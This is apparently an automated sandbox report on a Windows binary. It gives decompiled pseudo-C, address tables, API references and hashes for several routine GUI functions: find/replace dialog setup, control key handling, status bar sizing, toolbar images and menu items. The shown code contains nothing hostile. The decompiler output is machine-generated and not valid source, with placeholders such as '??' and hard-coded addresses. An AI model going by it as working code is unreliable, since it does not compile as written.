				intOrPtr* _t36;
				CHAR* _t39;

				_t12 = __eax;
				_t30 = _a4;
				 *(_t30 + 0x30) =  *(_t30 + 0x30) | __ecx;
				_t35 = __edx;
				if(__eax == 0) {
					_t12 = GetActiveWindow();
				}
				 *(_t30 + 0x28) = _t12;
				if(_t35 != 0) {
					_t25 = _t30 + 0x4c;
					if(_t25 != 0) {
						if(lstrlenA(_t35) <= 0x7f) {
							_t20 = lstrlenA(_t35);
						} else {
							_t20 = 0x7f;
						}
						_t12 = lstrcpynA(_t25, _t35, _t20 + 1);
					}
				}
				_t23 = _a12;
				if(_t23 != 0) {
					_t39 = _t30 + 0xcc;
					if(_t39 != 0) {
						if(lstrlenA(_t23) <= 0x7f) {
							_t17 = lstrlenA(_t23);
						} else {
							_t17 = 0x7f;
						}
						_t12 = lstrcpynA(_t39, _t23, _t17 + 1);
					}
				}
				_t36 = _t30 + 8;
				if(_t36 == 0) {
					RaiseException(0xc0000005, 1, 0, 0);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					return _t12;
				} else {
					 *_t36 = _t30;
					 *((intOrPtr*)(_t36 + 4)) = GetCurrentThreadId();
					EnterCriticalSection(0x880c68);
					_t28 =  *0x880c80; // 0x0
					 *((intOrPtr*)(_t36 + 8)) = _t28;
					 *0x880c80 = _t36;
					LeaveCriticalSection(0x880c68);
					_push(_t30 + 0x24);
					if(_a8 == 0) {
						return ReplaceTextA(??);
					} else {
						return FindTextA();
					}
				}
			}

0x0080c9b0
0x0080c9b5
0x0080c9b8
0x0080c9bb
0x0080c9bf
0x0080c9c1
0x0080c9c1
0x0080c9c7
0x0080c9cd
0x0080c9cf
0x0080c9d4
0x0080c9e0
0x0080c9ea
0x0080c9e2
0x0080c9e2
0x0080c9e2
0x0080c9f4
0x0080c9f4
0x0080c9d4
0x0080c9fa
0x0080c9ff
0x0080ca01
0x0080ca09
0x0080ca15
0x0080ca1f
0x0080ca17
0x0080ca17
0x0080ca17
0x0080ca29
0x0080ca29
0x0080ca09
0x0080ca2f
0x0080ca35
0x0080ca94
0x0080ca9a
0x0080ca9b
0x0080ca9c
0x0080ca9d
0x0080ca9e
0x0080ca9f
0x0080caa0
0x0080ca37
0x0080ca37
0x0080ca44
0x0080ca47
0x0080ca4d
0x0080ca53
0x0080ca5b
0x0080ca61
0x0080ca6e
0x0080ca6f
0x0080ca86
0x0080ca71
0x0080ca7a
0x0080ca7a
0x0080ca6f

APIs

GetActiveWindow.USER32 ref: 0080C9C1
lstrlenA.KERNEL32(?,00000000,?,00000000,?,008071AB,00000000,?,?), ref: 0080C9D7
lstrlenA.KERNEL32(?,?,008071AB,00000000,?,?), ref: 0080C9EA
lstrcpynA.KERNEL32(?,?,00000001,?,008071AB,00000000,?,?), ref: 0080C9F4
lstrlenA.KERNEL32(008071AB,00000000,?,00000000,?,008071AB,00000000,?,?), ref: 0080CA0C
lstrlenA.KERNEL32(008071AB,?,008071AB,00000000,?,?), ref: 0080CA1F
lstrcpynA.KERNEL32(?,008071AB,00000001,?,008071AB,00000000,?,?), ref: 0080CA29
GetCurrentThreadId.KERNEL32 ref: 0080CA39
EnterCriticalSection.KERNEL32(00880C68,?,008071AB,00000000,?,?), ref: 0080CA47
LeaveCriticalSection.KERNEL32(00880C68,?,008071AB,00000000,?,?), ref: 0080CA61
FindTextA.COMDLG32(?,?,008071AB), ref: 0080CA71
ReplaceTextA.COMDLG32(?,?,008071AB), ref: 0080CA7D

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: lstrlen$CriticalSectionTextlstrcpyn$ActiveCurrentEnterFindLeaveReplaceThreadWindow
String ID:
API String ID: 2015787953-0
Opcode ID: 2efe2bd6918905f521d74729ec0d93fb827ac96a51f28d5dc094fccb8f34e4e8
Instruction ID: d864bfd38235c6eba6351e0c2976696bc4edb5e66225f3a3fb2b6809e3a912c0
Opcode Fuzzy Hash: 2efe2bd6918905f521d74729ec0d93fb827ac96a51f28d5dc094fccb8f34e4e8
Instruction Fuzzy Hash: 4921D671A01729EFD3719FA5EC8CB6E7B68FF14711F108216F906D2251CB34A8029FA4

Uniqueness

Uniqueness Score: -1.00%

Function 0080E0A0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 132
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0080E0A0(void* __esi, int _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				struct tagRECT _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed char _v52;
				intOrPtr _v56;
				void* _v60;
				void* _v64;
				intOrPtr* _v68;
				struct HWND__* _v72;
				void* __ebx;
				void* __edi;
				signed int _t48;
				intOrPtr* _t50;
				int _t56;
				signed char _t65;
				void* _t96;
				struct HWND__* _t97;
				void* _t99;
				void* _t100;
				signed int _t102;

				_t101 = __esi;
				_t48 =  *0x869060; // 0xda7e2511
				_v8 = _t48 ^ _t102;
				_t50 = _a8;
				_v68 = _t50;
				 *_t50 = 0;
				if(IsWindowEnabled( *(__esi + 0x5c)) == 0) {
					L12:
					_pop(_t96);
					return E008159E6(0, 0, _v8 ^ _t102, _t91, _t96, _t101);
				} else {
					_t97 =  *((intOrPtr*)(__esi + 4));
					_v72 = _t97;
					if(GetFocus() != _t97) {
						goto L12;
					} else {
						_t56 = _a4;
						_v64 = 0;
						if(_t56 == 0xd) {
							L6:
							_v40.left = 0;
							_v40.top = 0;
							_v40.right = 0;
							_v40.bottom = 0;
							GetClientRect( *(_t101 + 4),  &_v40);
							_v20 = 0;
							_v16 = 0;
							_v12 = 0;
							_v24 = 0;
							SendMessageA( *(_t101 + 4), 0x41d, _v64,  &_v24);
							_t91 =  *(_t101 + 4);
							_v56 = 0;
							_v52 = 0;
							_v48 = 0;
							_v44 = 0;
							_v60 = 0;
							SendMessageA( *(_t101 + 4), 0x417, _v64,  &_v60);
							_t65 = _v52;
							if((_t65 & 0x00000004) == 0 || (_t65 & 0x00000008) != 0 || _v16 > _v40.right) {
								MessageBeep(0);
								 *_v68 = 1;
								goto L12;
							} else {
								PostMessageA( *(_t101 + 4), 0x100, 0x28, 0);
								if(_a4 == 0xd) {
									goto L12;
								} else {
									SendMessageA( *(_t101 + 4), 0x448, _v64, 0);
									_pop(_t99);
									return E008159E6(0, 0, _v8 ^ _t102, _v64, _t99, _t101);
								}
							}
						} else {
							_t91 = _t56;
							if(SendMessageA(_v72, 0x44e, _t56,  &_v64) != 0) {
								goto L6;
							} else {
								if(_a4 == 0x2f) {
									goto L12;
								} else {
									MessageBeep(0);
									_pop(_t100);
									return E008159E6(0, 0, _v8 ^ _t102, _t91, _t100, __esi);
								}
							}
						}
					}
				}
			}

0x0080e0a0
0x0080e0a6
0x0080e0ad
0x0080e0b0
0x0080e0b6
0x0080e0b9
0x0080e0c8
0x0080e1ef
0x0080e1f2
0x0080e200
0x0080e0ce
0x0080e0ce
0x0080e0d1
0x0080e0dc
0x00000000
0x0080e0e2
0x0080e0e2
0x0080e0eb
0x0080e0f1
0x0080e12f
0x0080e139
0x0080e13c
0x0080e13f
0x0080e142
0x0080e145
0x0080e153
0x0080e156
0x0080e159
0x0080e167
0x0080e16a
0x0080e16f
0x0080e174
0x0080e177
0x0080e17a
0x0080e17d
0x0080e18b
0x0080e18e
0x0080e190
0x0080e195
0x0080e1e0
0x0080e1e9
0x00000000
0x0080e1a3
0x0080e1af
0x0080e1b9
0x00000000
0x0080e1bb
0x0080e1c9
0x0080e1cd
0x0080e1dc
0x0080e1dc
0x0080e1b9
0x0080e0f3
0x0080e0f3
0x0080e108
0x00000000
0x0080e10a
0x0080e10e
0x00000000
0x0080e114
0x0080e115
0x0080e11d
0x0080e12c
0x0080e12c
0x0080e10e
0x0080e108
0x0080e0f1
0x0080e0dc

APIs

IsWindowEnabled.USER32(?), ref: 0080E0C0
GetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0080C459,00000020), ref: 0080E0D4
SendMessageA.USER32 ref: 0080E104
MessageBeep.USER32(00000000), ref: 0080E115
GetClientRect.USER32 ref: 0080E145
SendMessageA.USER32 ref: 0080E16A
SendMessageA.USER32 ref: 0080E18E
PostMessageA.USER32 ref: 0080E1AF
SendMessageA.USER32 ref: 0080E1C9
MessageBeep.USER32(00000000), ref: 0080E1E0

Strings

/, xrefs: 0080E10A

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Message$Send$Beep$ClientEnabledFocusPostRectWindow
String ID: /
API String ID: 787769824-2043925204
Opcode ID: a673063c03699b9e0ebcb0201b5a99987b5c2677cafc55ca9514d520e36e84ba
Instruction ID: e5109c1265866e58e5419299cd9113b4ca32c059b675dfaf6dbb55228b777e92
Opcode Fuzzy Hash: a673063c03699b9e0ebcb0201b5a99987b5c2677cafc55ca9514d520e36e84ba
Instruction Fuzzy Hash: 8041FDB1A00208AFDB54DFA9DD859AEB7F9FF48701F10852EF849E7251E730A901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0080AA10 Relevance: 18.2, APIs: 12, Instructions: 166
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0080AA10(void* __ecx, intOrPtr __edx, void* __eflags) {
				int _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				char _v155;
				char _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				void* _v168;
				void* _v688;
				char _v692;
				intOrPtr _v696;
				void* _v700;
				struct tagSIZE _v708;
				struct HWND__* _v712;
				struct HDC__* _v720;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t77;
				signed int _t78;
				long _t86;
				struct HWND__* _t88;
				void* _t92;
				int _t98;
				int _t101;
				intOrPtr _t104;
				long _t105;
				void* _t112;
				void* _t113;
				void* _t143;
				void* _t146;
				void* _t147;
				struct HDC__* _t148;
				signed int _t149;
				struct HDC__* _t150;
				intOrPtr _t152;
				void* _t153;
				void* _t154;
				long _t155;
				signed int _t156;
				void* _t157;
				void* _t161;

				_t161 = __eflags;
				_push(0xffffffff);
				_push(E0081F31B);
				_push( *[fs:0x0]);
				_t77 =  *0x869060; // 0xda7e2511
				_t78 = _t77 ^ _t156;
				_v24 = _t78;
				_push(_t146);
				_push(_t78);
				 *[fs:0x0] =  &_v16;
				_v20 = _t157 - 0x2c4;
				_t112 = __ecx;
				_t152 = __edx;
				_push( *((intOrPtr*)(__ecx + 0x28)));
				_v700 = __ecx;
				_v696 = __edx;
				 *(__ecx + 0x24) = 3;
				E008162C2();
				 *(_t112 + 0x28) = 0;
				_v8 = 0;
				_t135 = 0xc >> 0x20;
				_push( ~(0 | _t161 > 0x00000000) | 0xc);
				 *(_t112 + 0x28) = E00815DD7(0xc >> 0x20, _t146, __edx, _t161);
				_t86 =  *(_t112 + 0x28);
				if(_t86 != 0) {
					_v692 =  &_v688;
					 *_t86 =  *((intOrPtr*)(__edx));
					 *((intOrPtr*)(_t86 + 4)) =  *((intOrPtr*)(__edx + 4));
					 *((intOrPtr*)(_t86 + 8)) =  *((intOrPtr*)(__edx + 8));
					_t88 =  *(_t112 + 4);
					_v712 = _t88;
					_t148 = GetDC(_t88);
					_v720 = _t148;
					_t92 = SelectObject(_t148, SendMessageA( *(_t112 + 4), 0x31, 0, 0));
					_t149 = 0;
					_v700 = _t92;
					_v168 = 0;
					_v164 = 0;
					_v160 = 0;
					SendMessageA( *(_t112 + 4), 0x407, 0,  &_v168);
					_v156 = 0;
					E00816820( &_v155, 0, 0x7f);
					_v708.cx = 0;
					_v708.cy = 0;
					_v696 = _v168;
					_t154 = _t152 -  &_v688;
					do {
						_t98 =  *(_t156 + _t154 + _t149 * 4 - 0x2ac);
						if(_t98 != 0) {
							LoadStringA( *0x880c0c, _t98,  &_v156, 0x80);
							_t101 = lstrlenA( &_v156);
							__eflags = _t101 - 0xffffffff;
							if(_t101 == 0xffffffff) {
								_t101 = lstrlenA( &_v156);
							}
							GetTextExtentPoint32A(_v720,  &_v156, _t101,  &_v708);
							_t143 = _v160 + _v696;
							__eflags = _t143;
							 *((intOrPtr*)(_t156 + _t149 * 4 - 0x2ac)) = _t143 + _v708.cx + 6;
						} else {
							 *((intOrPtr*)(_t156 + _t149 * 4 - 0x2ac)) = 0x3fffffff;
						}
						_t104 =  *((intOrPtr*)(_t156 + _t149 * 4 - 0x2ac));
						_t149 = _t149 + 1;
						_v696 = _t104;
					} while (_t149 < 3);
					_t105 = SendMessageA( *(_t112 + 4), 0x404, 3,  &_v688);
					_t150 = _v720;
					_t155 = _t105;
					SelectObject(_t150, _v700);
					ReleaseDC(_v712, _t150);
					_t135 =  &_v688;
					if(_v692 !=  &_v688) {
						E0080D040( &_v692);
					}
					_t86 = _t155;
				}
				 *[fs:0x0] = _v16;
				_pop(_t147);
				_pop(_t153);
				_pop(_t113);
				return E008159E6(_t86, _t113, _v24 ^ _t156, _t135, _t147, _t153);
			}

0x0080aa10
0x0080aa13
0x0080aa15
0x0080aa20
0x0080aa27
0x0080aa2c
0x0080aa2e
0x0080aa33
0x0080aa34
0x0080aa38
0x0080aa3e
0x0080aa41
0x0080aa46
0x0080aa48
0x0080aa49
0x0080aa4f
0x0080aa55
0x0080aa5c
0x0080aa63
0x0080aa66
0x0080aa75
0x0080aa7e
0x0080aa87
0x0080aa9e
0x0080aaa3
0x0080aab1
0x0080aab7
0x0080aabc
0x0080aac2
0x0080aac5
0x0080aac9
0x0080aad9
0x0080aae1
0x0080aaef
0x0080aaff
0x0080ab02
0x0080ab10
0x0080ab16
0x0080ab1c
0x0080ab22
0x0080ab32
0x0080ab39
0x0080ab4d
0x0080ab53
0x0080ab59
0x0080ab5f
0x0080ab61
0x0080ab64
0x0080ab6d
0x0080ab90
0x0080ab9d
0x0080aba3
0x0080aba6
0x0080abaf
0x0080abaf
0x0080abcb
0x0080abd7
0x0080abd7
0x0080abe7
0x0080ab6f
0x0080ab6f
0x0080ab6f
0x0080abee
0x0080abf5
0x0080abf6
0x0080abfc
0x0080ac17
0x0080ac1d
0x0080ac23
0x0080ac2d
0x0080ac3b
0x0080ac41
0x0080ac4d
0x0080ac55
0x0080ac55
0x0080ac5a
0x0080ac5a
0x0080ac5f
0x0080ac67
0x0080ac68
0x0080ac69
0x0080ac77

APIs

GetDC.USER32(?), ref: 0080AACF
SendMessageA.USER32 ref: 0080AAE7
SelectObject.GDI32(00000000,00000000), ref: 0080AAEF
SendMessageA.USER32 ref: 0080AB22
_memset.LIBCMT ref: 0080AB39
LoadStringA.USER32 ref: 0080AB90
lstrlenA.KERNEL32(00000000), ref: 0080AB9D
lstrlenA.KERNEL32(00000000), ref: 0080ABAF
GetTextExtentPoint32A.GDI32(?,00000000,00000000,?), ref: 0080ABCB
SendMessageA.USER32 ref: 0080AC17
SelectObject.GDI32(?,?), ref: 0080AC2D
ReleaseDC.USER32 ref: 0080AC3B

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageSend$ObjectSelectlstrlen$ExtentLoadPoint32ReleaseStringText_memset
String ID:
API String ID: 1950834119-0
Opcode ID: b8d3e40bc91a743e0abbf9f5fa5bb6ab1ee15534c7f7b99079c388120e3d6967
Instruction ID: 95d65475537a17f7de0897d2015896b47669ea817ea7dbbb74c3af5b2e016402
Opcode Fuzzy Hash: b8d3e40bc91a743e0abbf9f5fa5bb6ab1ee15534c7f7b99079c388120e3d6967
Instruction Fuzzy Hash: 5E611BB1A052199FDB64CF68DC88B9AB7B9FF88310F108199E50DD7291DB309A81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0080DA60 Relevance: 18.1, APIs: 12, Instructions: 147
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0080DA60(void* __edi, CHAR* _a4) {
				int _v8;
				char _v16;
				void* _v20;
				signed int _v24;
				short* _v28;
				void* __ebx;
				void* __esi;
				signed int _t42;
				struct HRSRC__* _t46;
				void* _t48;
				void* _t53;
				signed int _t55;
				int _t57;
				struct HINSTANCE__* _t66;
				void* _t73;
				short* _t76;
				signed int _t89;
				void* _t96;
				struct HINSTANCE__* _t98;
				void* _t101;
				signed int _t108;

				_t96 = __edi;
				_push(0xffffffff);
				_push(E0081F678);
				_push( *[fs:0x0]);
				_t42 =  *0x869060; // 0xda7e2511
				_push(_t42 ^ _t108);
				 *[fs:0x0] =  &_v16;
				_t98 =  *0x880c0c;
				_t46 = FindResourceA(_t98, _a4, 0xf1);
				if(_t46 == 0) {
					L11:
					 *[fs:0x0] = _v16;
					return 0;
				} else {
					_t48 = LoadResource(_t98, _t46);
					if(_t48 == 0) {
						goto L11;
					} else {
						_t73 = LockResource(_t48);
						if(_t73 == 0) {
							goto L11;
						} else {
							_t89 =  *(_t73 + 6) & 0x0000ffff;
							_t5 = _t73 + 8; // 0x8
							_v28 = _t5;
							_v24 = _t89;
							E0080DA00( *(_t73 + 4) & 0x0000ffff,  *(_t73 + 2) & 0x0000ffff, __edi);
							if( *((intOrPtr*)(__edi + 0x48)) != 0) {
								L5:
								_v8 = 0;
								if(( *(_t96 + 0x85) & 0x00000020) == 0) {
									_t53 = LoadBitmapA( *0x880c0c, _a4);
									_v20 = _t53;
									_t101 = _t53;
								} else {
									_t101 = LoadImageA( *0x880c0c, _a4, 0, 0, 0, 0x2040);
									_v20 = _t101;
								}
								if(_t101 == 0) {
									goto L11;
								} else {
									if(ImageList_AddMasked( *(_t96 + 0x48), _t101,  *(_t96 + 0xa0)) != 0xffffffff) {
										_t55 = _v24;
										if(_t55 > 0) {
											_t76 = _v28;
											_v24 = _t55;
											do {
												if( *_t76 != 0) {
													E0080A220(_t76, _t96 + 0x4c);
													_t101 = _v20;
												}
												_t76 = _t76 + 2;
												_t35 =  &_v24;
												 *_t35 = _v24 - 1;
											} while ( *_t35 != 0);
										}
										_t57 = ImageList_GetImageCount( *(_t96 + 0x48));
										_push(_t101);
										if(_t57 ==  *((intOrPtr*)(_t96 + 0x50))) {
											DeleteObject();
											 *[fs:0x0] = _v16;
											return 1;
										} else {
											DeleteObject();
											 *[fs:0x0] = _v16;
											return 0;
										}
									} else {
										E0080A480( &_v20);
										goto L11;
									}
								}
							} else {
								_t66 =  *0x880c0c;
								 *(__edi + 0x85) =  *(__edi + 0x85) ^ ((_t89 & 0xffffff00 |  *((short*)(LockResource(LoadResource(_t66, FindResourceA(_t66, _a4, 2))) + 0xe)) == 0x00000020) << 0x00000005 ^  *(__edi + 0x85)) & 0x00000020;
								if(E00811660( *(_t73 + 6) & 0x0000ffff, __edi) == 0) {
									goto L11;
								} else {
									goto L5;
								}
							}
						}
					}
				}
			}

0x0080da60
0x0080da63
0x0080da65
0x0080da70
0x0080da76
0x0080da7d
0x0080da81
0x0080da8a
0x0080da97
0x0080da9f
0x0080db9f
0x0080dba4
0x0080dbb1
0x0080daa5
0x0080daa7
0x0080daaf
0x00000000
0x0080dab5
0x0080dabc
0x0080dac0
0x00000000
0x0080dac6
0x0080dac6
0x0080dace
0x0080dad1
0x0080dada
0x0080dadd
0x0080dae6
0x0080db34
0x0080db34
0x0080db42
0x0080db71
0x0080db77
0x0080db7a
0x0080db44
0x0080db60
0x0080db62
0x0080db62
0x0080db7e
0x00000000
0x0080db80
0x0080db95
0x0080dbb4
0x0080dbb9
0x0080dbbb
0x0080dbbe
0x0080dbc1
0x0080dbc5
0x0080dbca
0x0080dbcf
0x0080dbcf
0x0080dbd2
0x0080dbd5
0x0080dbd5
0x0080dbd5
0x0080dbc1
0x0080dbde
0x0080dbe4
0x0080dbe8
0x0080dc05
0x0080dc13
0x0080dc20
0x0080dbea
0x0080dbea
0x0080dbf5
0x0080dc02
0x0080dc02
0x0080db97
0x0080db9a
0x00000000
0x0080db9a
0x0080db95
0x0080dae8
0x0080daeb
0x0080db21
0x0080db32
0x00000000
0x00000000
0x00000000
0x00000000
0x0080db32
0x0080dae6
0x0080dac0
0x0080daaf

APIs

FindResourceA.KERNEL32(00800000,00807D7D,000000F1), ref: 0080DA97
LoadResource.KERNEL32(00800000,00000000,?,00000000,?,00807D7D,00000080), ref: 0080DAA7
LockResource.KERNEL32(00000000,?,00000000,?,00807D7D,00000080), ref: 0080DAB6
FindResourceA.KERNEL32(00800000,00807D7D,00000002), ref: 0080DAF6
LoadResource.KERNEL32(00800000,00000000,?,00000000,?,00807D7D,00000080), ref: 0080DAFE
LockResource.KERNEL32(00000000,?,00000000,?,00807D7D,00000080), ref: 0080DB05

Part of subcall function 00811660: ImageList_Create.COMCTL32(?,?,00000000,?,00000001,?,?,?,?,?,?,?,?,0080DB30,?,00000000), ref: 0081168B

LoadImageA.USER32 ref: 0080DB5A
LoadBitmapA.USER32 ref: 0080DB71
ImageList_AddMasked.COMCTL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00807D7D), ref: 0080DB8C
ImageList_GetImageCount.COMCTL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00807D7D), ref: 0080DBDE
DeleteObject.GDI32(00000000), ref: 0080DBEA
DeleteObject.GDI32(00000000), ref: 0080DC05

Part of subcall function 0080DA00: ImageList_GetImageCount.COMCTL32(?,?,00000000,0080DAE2,?,00000000,?,00807D7D,00000080), ref: 0080DA0E
Part of subcall function 0080DA00: ImageList_Destroy.COMCTL32(?,?,00000000,?,00807D7D,00000080), ref: 0080DA1C

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Image$Resource$List_$Load$CountDeleteFindLockObject$BitmapCreateDestroyMasked
String ID:
API String ID: 3830000767-0
Opcode ID: 92bb2bf4fb9b77e5e3ef55ae4be0f8a72038b039c37c959464a4f23d8c50263e
Instruction ID: 934a6ef7255cc30c5db8f0de4aa7a0017b7fc517ad5396fdb59235c0479d593a
Opcode Fuzzy Hash: 92bb2bf4fb9b77e5e3ef55ae4be0f8a72038b039c37c959464a4f23d8c50263e
Instruction Fuzzy Hash: 21518071A00715AFDB60DFA8DC89BAAB7B8FF08721F118155ED05E72D1DB75A840CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 008051B0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 130
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E008051B0(struct HMENU__* __ebx, void* __edx, intOrPtr _a4) {
				signed int _v12;
				struct _OSVERSIONINFOA _v168;
				signed short* _v172;
				struct tagMENUITEMINFOA _v220;
				struct tagMENUITEMINFOA _v268;
				void* __edi;
				void* __esi;
				signed int _t55;
				intOrPtr _t57;
				signed int _t58;
				signed int _t66;
				intOrPtr _t73;
				signed short* _t78;
				int _t92;
				signed short* _t93;
				signed int _t94;
				void* _t95;

				_t77 = __ebx;
				_t55 =  *0x869060; // 0xda7e2511
				_v12 = _t55 ^ _t94;
				_t57 = _a4;
				_t93 =  *(_t57 + 0x10);
				if(_t93 != 0) {
					_t78 =  *(_t57 + 0xc);
					_t58 =  *_t78 & 0x0000ffff;
					_t88 = 0xffff;
					_v172 = _t78;
					while(_t58 != 0xffff) {
						if((_t78[1] & 0x00000001) != 0) {
							_t92 = _t58 & 0x0000ffff;
							if(( *_t93 & 0x00004000) != 0) {
								SetMenuDefaultItem(_t77, 0xffffffff, 0);
								 *_t93 =  *_t93 & 0x0000bfff;
							}
							E00816820( &_v220, 0, 0x30);
							_v220.cbSize = 0x30;
							E00816820( &(_v168.dwMajorVersion), 0, 0x90);
							_t95 = _t95 + 0x18;
							_v168.dwOSVersionInfoSize = 0x94;
							if(GetVersionExA( &_v168) == 0) {
								L10:
								_v220.cbSize = 0x2c;
							} else {
								_t73 = _v168.dwMajorVersion;
								if(_t73 < 5 && (_t73 != 4 || _v168.dwMinorVersion < 0x5a)) {
									goto L10;
								}
							}
							_t66 =  *_t93 & 0x0000ffff;
							_v220.fMask = 1;
							_v220.wID = _t92;
							if((_t66 & 0x00000100) != 0) {
								_v220.fState = _v220.fState | 0x00000003;
							}
							if((_t66 & 0x00000200) != 0) {
								_v220.fState = _v220.fState | 0x00000008;
							}
							if((_t66 & 0x00001000) != 0) {
								_v220.fState = _v220.fState | 0x00001000;
							}
							if((_t66 & 0x00002000) != 0) {
								E00816820( &_v268, 0, 0x30);
								_t95 = _t95 + 0xc;
								_v268.cbSize = 0x30;
								if(E00804890(_t77, _t92, _t93) != 0) {
									_v268.cbSize = 0x2c;
								}
								_v268.fMask = 0x10;
								_v268.wID = _t92;
								if(GetMenuItemInfoA(_t77, _t92, 0,  &_v268) != 0) {
									_v220.fMask = _v220.fMask | 0x00000010;
									_v220.fType = _v220.fType | _v268.fType & 0xfffff7fb;
									_v220.dwTypeData = _t93[2];
								}
							}
							SetMenuItemInfoA(_t77, _t92, 0,  &_v220);
							_t78 = _v172;
						}
						_t58 = _t78[2] & 0x0000ffff;
						_t78 =  &(_t78[2]);
						_t88 = 0xffff;
						_t93 =  &(_t93[4]);
						_v172 = _t78;
					}
					return E008159E6(0, _t77, _v12 ^ _t94, _t88, _t92, _t93);
				} else {
					return E008159E6( &(_t93[0]), __ebx, _v12 ^ _t94, __edx, _t92, _t93);
				}
			}

0x008051b0
0x008051b9
0x008051c0
0x008051c3
0x008051c7
0x008051cd
0x008051e4
0x008051e7
0x008051ea
0x008051ef
0x008051f8
0x00805202
0x00805208
0x00805213
0x0080521a
0x00805225
0x00805225
0x00805233
0x00805249
0x00805253
0x00805258
0x00805262
0x00805274
0x0080528f
0x0080528f
0x00805276
0x00805276
0x0080527f
0x00000000
0x00000000
0x0080527f
0x00805299
0x0080529c
0x008052a6
0x008052b1
0x008052b3
0x008052b3
0x008052bf
0x008052c1
0x008052c1
0x008052cd
0x008052cf
0x008052cf
0x008052de
0x008052eb
0x008052f0
0x008052f3
0x00805304
0x00805306
0x00805306
0x0080531b
0x00805325
0x00805333
0x0080533e
0x0080534b
0x00805351
0x00805351
0x00805333
0x00805362
0x00805368
0x00805368
0x0080536e
0x00805372
0x00805375
0x0080537a
0x0080537d
0x00805383
0x0080539d
0x008051cf
0x008051e1
0x008051e1

APIs

SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0080521A
_memset.LIBCMT ref: 00805233
_memset.LIBCMT ref: 00805253
GetVersionExA.KERNEL32(?), ref: 0080526C
_memset.LIBCMT ref: 008052EB
GetMenuItemInfoA.USER32 ref: 0080532B
